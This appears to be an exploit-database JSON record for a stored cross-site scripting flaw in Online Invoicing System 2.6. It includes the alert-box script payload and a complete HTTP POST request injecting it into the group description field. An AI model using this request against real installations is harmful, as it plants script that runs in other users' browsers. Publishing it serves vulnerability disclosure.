DATABASE RESOURCES PRICING ABOUT US

{"id": "1337DAY-ID-33615", "type": "zdt", "bulletinFamily": "exploit", "title": "Online Invoicing System 2.6 - (description) Persistent Cross-Site Scripting Vulnerability", "description": "Exploit for php platform in category web applications", "published": "2019-12-03T00:00:00", "modified": "2019-12-03T00:00:00", "cvss": {"score": 0.0, "vector": "NONE"}, "cvss2": {}, "cvss3": {}, "href": "https://0day.today/exploit/description/33615", "reporter": "Cemal Cihad \u00c7\u0130FT\u00c7\u0130", "references": [], "cvelist": [], "immutableFields": [], "lastseen": "2019-12-04T18:13:10", "viewCount": 139, "enchantments": {"dependencies": {}, "score": {"value": -0.3, "vector": "NONE"}, "backreferences": {"references": [{"type": "threatpost", "idList": ["THREATPOST:5D5241707AB76ED799696E37D048872A", "THREATPOST:7876640D5EC3E8FE3FE885606BBB1C6D"]}]}, "exploitation": null, "vulnersScore": -0.3}, "sourceHref": "https://0day.today/exploit/33615", "sourceData": "# Exploit Title: Online Invoicing System 2.6 - 'description' Persistent Cross-Site Scripting\r\n# Exploit Author: Cemal Cihad \u00c7\u0130FT\u00c7\u0130\r\n# Vendor Homepage: https://bigprof.com\r\n# Software Download Link : https://github.com/bigprof-software/online-invoicing-system\r\n# Software : Online Invoicing System\r\n# Version : 2.6\r\n# Vulernability Type : Cross-site Scripting\r\n# Vulenrability : Stored XSS\r\n\r\n# Stored XSS has been discovered in the Online Invoicing System created by bigprof/AppGini\r\n# editmembers section. Description parameter affected from this vulnerability.\r\n# payload: <script>alert(123);</script>\r\n\r\n# HTTP POST request\r\nPOST /inovicing/app/admin/pageEditGroup.php HTTP/1.1\r\nHost: 10.10.10.160\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3\r\nAccept-Encoding: gzip, deflate\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 464\r\nOrigin: http://10.10.10.160\r\nConnection: close\r\nReferer: http://10.10.10.160/inovicing/app/admin/pageEditGroup.php?groupID=2\r\nCookie: inventory=4eg101l42apiuvutr7vguma5ar; online_inovicing_system=vl8ml5or8sgdee9ep9lnhglk69\r\nUpgrade-Insecure-Requests: 1\r\n\r\ngroupID=2&name=Admins&description=%3Cscript%3Ealert%28123%29%3B%3C%2Fscript%3E&visitorSignup=0&invoices_insert=1&invoices_view=3&invoices_edit=3&invoices_delete=3&clients_insert=1&clients_view=3&clients_edit=3&clients_delete=3&item_prices_insert=1&item_prices_view=3&item_prices_edit=3&item_prices_delete=3&invoice_items_insert=1&invoice_items_view=3&invoice_items_edit=3&invoice_items_delete=3&items_insert=1&items_view=3&items_edit=3&items_delete=3&saveChanges=1\n\n# 0day.today [2019-12-04] #", "_state": {"dependencies": 1647589307, "score": 1659735844, "epss": 1678887117}}

{}